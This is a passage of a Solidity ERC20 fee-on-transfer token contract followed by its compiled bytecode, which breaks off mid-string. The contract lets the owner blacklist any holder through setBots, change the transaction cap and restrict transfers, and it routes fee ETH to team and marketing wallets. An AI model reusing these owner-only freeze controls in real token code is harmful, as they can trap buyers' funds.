_allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eb4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129d7565b610441565b6040516101789190612e99565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613056565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612988565b61046e565b6040516101e09190612e99565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128fa565b610547565b005b34801561021e57600080fd5b50610227610637565b60405161023491906130cb565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a54565b610640565b005b34801561027257600080fd5b5061027b6106f2565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128fa565b610764565b6040516102b19190613056565b60405180910390f35b3480156102c657600080fd5b506102cf6107b5565b005b3480156102dd57600080fd5b506102e6610908565b6040516102f39190612dcb565b60405180910390f35b34801561030857600080fd5b50610311610931565b60405161031e9190612eb4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129d7565b61096e565b60405161035b9190612e99565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a13565b61098c565b005b34801561039957600080fd5b506103a2610adc565b005b3480156103b057600080fd5b506103b9610b56565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aa6565b6110af565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061294c565b6111f6565b6040516104189190613056565b60405180910390f35b60606040518060600160405280602281526020016137b760229139905090565b600061045561044e61127d565b8484611285565b6001905092915050565b6000662386f26fc10000905090565b600061047b848484611450565b61053c8461048761127d565b6105378560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ed61127d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0f9092919063ffffffff16565b611285565b600190509392505050565b61054f61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d390612f96565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064861127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc90612f96565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073361127d565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600047905061076181611c73565b50565b60006107ae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6e565b9050919050565b6107bd61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084190612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d46490000000000000000000000000000000000000000000000000000000000815250905090565b600061098261097b61127d565b8484611450565b6001905092915050565b61099461127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612f96565b60405180910390fd5b60005b8151811015610ad8576001600a6000848481518110610a6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad09061336c565b915050610a24565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1d61127d565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b6000610b4830610764565b9050610b5381611ddc565b50565b610b5e61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be290612f96565b60405180910390fd5b600f60149054906101000a900460ff1615610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290613016565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000611285565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0f57600080fd5b505afa158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d479190612923565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da957600080fd5b505afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190612923565b6040518363ffffffff1660e01b8152600401610dfe929190612de6565b602060405180830381600087803b158015610e1857600080fd5b505af1158015610e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e509190612923565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed930610764565b600080610ee4610908565b426040518863ffffffff1660e01b8152600401610f0696959493929190612e38565b6060604051808303818588803b158015610f1f57600080fd5b505af1158015610f33573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f589190612acf565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550662386f26fc100006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611059929190612e0f565b602060405180830381600087803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ab9190612a7d565b5050565b6110b761127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612f96565b60405180910390fd5b60008111611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612f56565b60405180910390fd5b6111b460646111a683662386f26fc100006120d690919063ffffffff16565b61215190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111eb9190613056565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ec90612ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90612f16565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114439190613056565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612fd6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612ed6565b60405180910390fd5b60008111611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90612fb6565b60405180910390fd5b61157b610908565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e957506115b9610908565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c57600f60179054906101000a900460ff161561181c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176561127d565b73ffffffffffffffffffffffffffffffffffffffff1614806117db5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c361127d565b73ffffffffffffffffffffffffffffffffffffffff16145b61181a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181190613036565b60405180910390fd5b5b5b60105481111561182b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cf5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119835750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f15750600f60179054906101000a900460ff165b15611a925742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4157600080fd5b603c42611a4e919061318c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9d30610764565b9050600f60159054906101000a900460ff16158015611b0a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60169054906101000a900460ff165b15611b4a57611b3081611ddc565b60004790506000811115611b4857611b4747611c73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfd57600090505b611c098484848461219b565b50505050565b6000838311158290611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9190612eb4565b60405180910390fd5b5060008385611c66919061326d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc360028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cee573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3f60028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d6a573d6000803e3d6000fd5b5050565b6000600654821115611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac90612ef6565b60405180910390fd5b6000611dbf6121c8565b9050611dd4818461215190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e685781602001602082028036833780820191505090505b5090503081600081518110611ea6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4857600080fd5b505afa158015611f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f809190612923565b81600181518110611fba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611285565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612085959493929190613071565b600060405180830381600087803b15801561209f57600080fd5b505af11580156120b3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120e9576000905061214b565b600082846120f79190613213565b905082848261210691906131e2565b14612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213d90612f76565b60405180910390fd5b809150505b92915050565b600061219383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f3565b905092915050565b806121a9576121a8612256565b5b6121b4848484612287565b806121c2576121c1612452565b5b50505050565b60008060006121d5612464565b915091506121ec818361215190919063ffffffff16565b9250505090565b6000808311829061223a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122319190612eb4565b60405180910390fd5b506000838561224991906131e2565b9050809150509392505050565b600060085414801561226a57506000600954145b1561227457612285565b600060088190555060006009819055505b565b600080600080600080612299876124c0565b9550955095509550955095506122f786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d8816125d0565b6123e2848361268d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161243f9190613056565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000662386f26fc100009050612496662386f26fc1000060065461215190919063ffffffff16565b8210156124b357600654662386f26fc100009350935050506124bc565b81819350935050505b9091565b60008060008060008060008060006124dd8a6008546009546126c7565b92509250925060006124ed6121c8565b905060008060006125008e87878761275d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061256a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0f565b905092915050565b6000808284612581919061318c565b9050838110156125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90612f36565b60405180910390fd5b8091505092915050565b60006125da6121c8565b905060006125f182846120d690919063ffffffff16565b905061264581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126a28260065461252890919063ffffffff16565b6006819055506126bd8160075461257290919063ffffffff16565b6007819055505050565b6000806000806126f360646126e5888a6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061271d606461270f888b6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061274682612738858c61252890919063ffffffff16565b61252890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061277685896120d690919063ffffffff16565b9050600061278d86896120d690919063ffffffff16565b905060006127a487896120d690919063ffffffff16565b905060006127cd826127bf858761252890919063ffffffff16565b61252890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127f96127f48461310b565b6130e6565b9050808382526020820190508285602086028201111561281857600080fd5b60005b85811015612848578161282e8882612852565b84526020840193506020830192505060018101905061281b565b5050509392505050565b60008135905061286181613749565b92915050565b60008151905061287681613749565b92915050565b600082601f83011261288d57600080fd5b813561289d8482602086016127e6565b91505092915050565b6000813590506128b581613760565b92915050565b6000815190506128ca81613760565b92915050565b6000813590506128df81613777565b92915050565b6000815190506128f481613777565b92915050565b60006020828403121561290c57600080fd5b600061291a84828501612852565b91505092915050565b60006020828403121561293557600080fd5b600061294384828501612867565b91505092915050565b6000806040838503121561295f57600080fd5b600061296d85828601612852565b925050602061297e85828601612852565b9150509250929050565b60008060006060848603121561299d57600080fd5b60006129ab86828701612852565b93505060206129bc86828701612852565b92505060406129cd868287016128d0565b9150509250925092565b600080604083850312156129ea57600080fd5b60006129f885828601612852565b9250506020612a09858286016128d0565b9150509250929050565b600060208284031215612a2557600080fd5b600082013567ffffffffffffffff811115612a3f57600080fd5b612a4b8482850161287c565b91505092915050565b600060208284031215612a6657600080fd5b6000612a74848285016128a6565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128bb565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128d0565b91505092915050565b600080600060608486031215612ae457600080fd5b6000612af2868287016128e5565b9350506020612b03868287016128e5565b9250506040612b14868287016128e5565b9150509250925092565b6000612b2a8383612b36565b60208301905092915050565b612b3f816132a1565b82525050565b612b4e816132a1565b82525050565b6000612b5f82613147565b612b69818561316a565b9350612b7483613137565b8060005b83811015612ba5578151612b8c8882612b1e565b9750612b978361315d565b925050600181019050612b78565b5085935050505092915050565b612bbb816132b3565b82525050565b612bca816132f6565b82525050565b6000612bdb82613152565b612be5818561317b565b9350612bf5818560208601613308565b612bfe81613442565b840191505092915050565b6000612c1660238361317b565b9150612c2182613453565b604082019050919050565b6000612c39602a8361317b565b9150612c44826134a2565b604082019050919050565b6000612c5c60228361317b565b9150612c67826134f1565b604082019050919050565b6000612c7f601b8361317b565b9150612c8a82613540565b602082019050919050565b6000612ca2601d8361317b565b9150612cad82613569565b602082019050919050565b6000612cc560218361317b565b9150612cd082613592565b604082019050919050565b6000612ce860208361317b565b9150612cf3826135e1565b602082019050919050565b6000612d0b60298361317b565b9150612d168261360a565b604082019050919050565b6000612d2e60258361317b565b9150612d3982613659565b604082019050919050565b6000612d5160248361317b565b9150612d5c826136a8565b604082019050919050565b6000612d7460178361317b565b9150612d7f826136f7565b602082019050919050565b6000612d9760118361317b565b9150612da282613720565b602082019050919050565b612db6816132df565b82525050565b612dc5816132e9565b82525050565b6000602082019050612de06000830184612b45565b92915050565b6000604082019050612dfb6000830185612b45565b612e086020830184612b45565b9392505050565b6000604082019050612e246000830185612b45565b612e316020830184612dad565b9392505050565b600060c082019050612e4d6000830189612b45565b612e5a6020830188612dad565b612e676040830187612bc1565b612e746060830186612bc1565b612e816080830185612b45565b612e8e60a0830184612dad565b979650505050505050565b6000602082019050612eae6000830184612bb2565b92915050565b60006020820190508181036000830152612ece8184612bd0565b905092915050565b60006020820190508181036000830152612eef81612c09565b9050919050565b60006020820190508181036000830152612f0f81612c2c565b9050919050565b60006020820190508181036000830152612f2f81612c4f565b9050919050565b60006020820190508181036000830152612f4f81612c72565b9050919050565b60006020820190508181036000830152612f6f81612c95565b9050919050565b60006020820190508181036000830152612f8f81612cb8565b9050919050565b60006020820190508181036000830152612faf81612cdb565b9050919050565b60006020820190508181036000830152612fcf81612cfe565b9050919050565b60006020820190508181036000830152612fef81612d21565b9050919050565b6000602082019050818103600083015261300f81612d44565b9050919050565b6000602082019050818103600083015261302f81612d67565b9050919050565b6000602082019050818103600083015261304f81612d8a565b9050919050565b600060208201905061306b6000830184612dad565b92915050565b600060a0820190506130866000830188612dad565b6130936020830187612bc1565b81810360408301526130a58186612b54565b90506130b46060830185612b45565b6130c16080830184612dad565b9695505050505050565b60006020820190506130e06000830184612dbc565b92915050565b60006130f0613101565b90506130fc828261333b565b919050565b6000604051905090565b600067ffffffffffffffff82111561312657613125613413565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613197826132df565b91506131a2836132df565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131d7576131d66133b5565b5b828201905092915050565b60006131ed826132df565b91506131f8836132df565b925082613208576132076133e4565b5b828204905092915050565b600061321e826132df565b9150613229836132df565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613262576132616133b5565b5b828202905092915050565b6000613278826132df565b9150613283836132df565b925082821015613296576132956133b5565b5b828203905092915050565b60006132ac826132bf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613301826132df565b9050919050565b60005b8381101561332657808201518184015260208101905061330b565b83811115613335576000848401525b50505050565b61334482613442565b810181811067ffffffffffffffff8211171561336357613362613413565b5b80604052505050565b6000613377826132df565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133aa576133a96133b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6000